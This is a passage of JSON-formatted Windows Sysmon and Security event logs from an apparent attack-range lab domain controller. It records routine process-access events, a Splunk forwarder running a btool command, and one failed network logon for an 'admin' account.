C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1615,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1616,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1617,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1618,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-0010D8CD0200}\r\nTargetProcessId: 3852\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-0010D8CD0200}","TargetProcessId":"3852","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221478,"ProcessID":860,"ThreadID":2712,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t58820\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"58820","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1619,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.437\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-0010D8CD0200}\r\nSourceProcessId: 3852\r\nSourceThreadId: 3856\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.437","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-0010D8CD0200}","SourceProcessId":"3852","SourceThreadId":"3856","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1620,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.498\r\nProcessGuid: {90617006-3FE5-5F2D-0000-001055F10200}\r\nProcessId: 3884\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c btool server list general --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-3FE5-5F2D-0000-001027CB0200}\r\nParentProcessId: 3800\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal_extra_splunkd_service_args","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.498","ProcessGuid":"{90617006-3FE5-5F2D-0000-001055F10200}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c btool server list general --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-3FE5-5F2D-0000-001027CB0200}","ParentProcessId":"3800","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal_extra_splunkd_service_args","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1621,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.484\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-001027CB0200}\r\nSourceProcessId: 3800\r\nSourceThreadId: 3804\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001055F10200}\r\nTargetProcessId: 3884\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+6665|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+14738|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+d1d8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.484","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-001027CB0200}","SourceProcessId":"3800","SourceThreadId":"3804","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001055F10200}","TargetProcessId":"3884","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+6665|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+14738|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+d1d8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1622,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.484\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001055F10200}\r\nTargetProcessId: 3884\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: 